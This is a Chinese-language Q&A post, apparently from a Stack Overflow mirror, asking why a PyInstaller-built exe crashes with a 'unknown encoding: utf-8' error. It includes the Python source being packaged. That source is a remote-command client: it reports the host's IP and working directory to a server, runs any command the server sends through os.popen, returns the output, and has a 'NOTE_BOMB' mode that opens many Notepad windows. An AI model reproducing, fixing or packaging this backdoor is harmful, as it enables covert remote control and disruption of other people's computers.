【发布时间】:2021-04-08 02:50:36
【问题描述】:
我一直在尝试将我的第一个套接字项目转换为 exe,但由于某种原因,当我尝试加载它时显示错误。该错误在 python 控制台中是不可能看到的,但您可以在 cmd 提示符中看到它。如果您需要我向您展示 pyinstaller 的结果,请告诉我。
错误:
C:\WINDOWS\system32\output\client>client.exe
Python path configuration:
PYTHONHOME = 'C:\WINDOWS\system32\output\client'
PYTHONPATH = (not set)
program name = 'C:\WINDOWS\system32\output\client\client.exe'
isolated = 0
environment = 0
user site = 0
import site = 0
sys._base_executable = 'C:\\WINDOWS\\system32\\output\\client\\client.exe'
sys.base_prefix = ''
sys.base_exec_prefix = ''
sys.executable = 'C:\\WINDOWS\\system32\\output\\client\\client.exe'
sys.prefix = ''
sys.exec_prefix = ''
sys.path = [
'C:\\WINDOWS\\system32\\output\\client\\base_library.zip',
'C:\\WINDOWS\\system32\\output\\client',
]
Fatal Python error: init_fs_encoding: failed to get the Python codec of the filesystem encoding
Python runtime state: core initialized
LookupError: unknown encoding: utf-8
Current thread 0x00006558 (most recent call first):
<no Python frame>
代码:
import socket
import os
client_ip = socket.gethostbyname(socket.gethostname())
class Client:
def __init__(self):
self.host = '127.0.0.1'
self.port = 6758
self.server = socket.socket()
def connect(self):
self.server.connect((self.host,self.port))
def send(self,text):
self.server.send(str(text).encode('UTF-8'))
def recv(self):
self.msg = self.server.recv(1024)
return self.msg.decode('UTF-8')
class Operate:
def __init__(self):
self.serv = Client()
self.serv.connect()
def hack(self):
self.serv.send('{0} , {1} > '.format(client_ip,str(os.getcwd())))
self.msg = self.serv.recv()
if self.msg.split(' ')[0] == 'NOTE_BOMB':
for i in range(int(self.msg.split(' ')[1])):
data = os.popen('notepad.exe')
else:
data = os.popen(self.msg)
self.serv.send('recived : '+str(data.read()))
run = True
bot = Operate()
while run:
bot.hack()
【问题讨论】:
标签: python python-3.x sockets operating-system